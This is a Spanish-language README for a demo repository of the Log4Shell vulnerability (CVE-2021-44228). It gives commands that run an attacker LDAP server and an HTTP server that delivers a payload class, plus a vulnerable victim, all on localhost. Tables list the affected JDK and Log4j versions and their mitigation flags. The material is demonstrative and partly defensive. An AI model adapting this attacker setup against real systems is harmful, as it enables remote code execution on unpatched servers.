phoswald/sample-ldap-exploitUna breve demostración de CVE-2021-44228
Una breve demo de CVE-2021-44228
$ mvn clean verify
$ java \
-cp 'attacker/target/sample-attacker.jar:attacker/target/lib/*' \
sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080 payload/target/sample-payload.jar
URLs:
http://localhost:8080/http://localhost:8080/sample/payload/Payload.class$ java \
-cp 'victim/target/sample-victim.jar:victim/target/lib/*' \
sample.victim.Victim
| Versión | Estado |
|---|---|
Oracle JDK 8u5 | vulnerable |
OpenJDK 8u312 | NO vulnerable (a menos que se use -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
IBM OpenJDK 8u312-b07 (OpenJ9) | NO vulnerable (a menos que se use -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.7+10 | NO vulnerable (a menos que se use -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 11.0.13+8 | NO vulnerable (a menos que se use -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 16+36 | NO vulnerable (a menos que se use -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17+35 | NO vulnerable (a menos que se use -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
OpenJDK 17.0.1+12 | NO vulnerable (a menos que se use -Dcom.sun.jndi.ldap.object.trustURLCodebase=true) |
Si NO es vulnerable, una instancia de javax.naming.Reference es devuelta desde javax.naming.Context.lookup().
Si NO es vulnerable para cargar clases desde bases de código remotas, ¡probablemente aún existen otras vulnerabilidades de deserialización en Java!
| Versión | Estado |
|---|---|
2.9.1 | vulnerable |
2.10.0 | vulnerable (a menos que se use -Dlog4j2.formatMsgNoLookups=true o la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.14.1 | vulnerable (a menos que se use -Dlog4j2.formatMsgNoLookups=true o la variable de entorno LOG4J_FORMAT_MSG_NO_LOOKUPS=true) |
2.15.0 | NO vulnerable |
Si NO es vulnerable, ${jndi:ldap:...} NO se resuelve.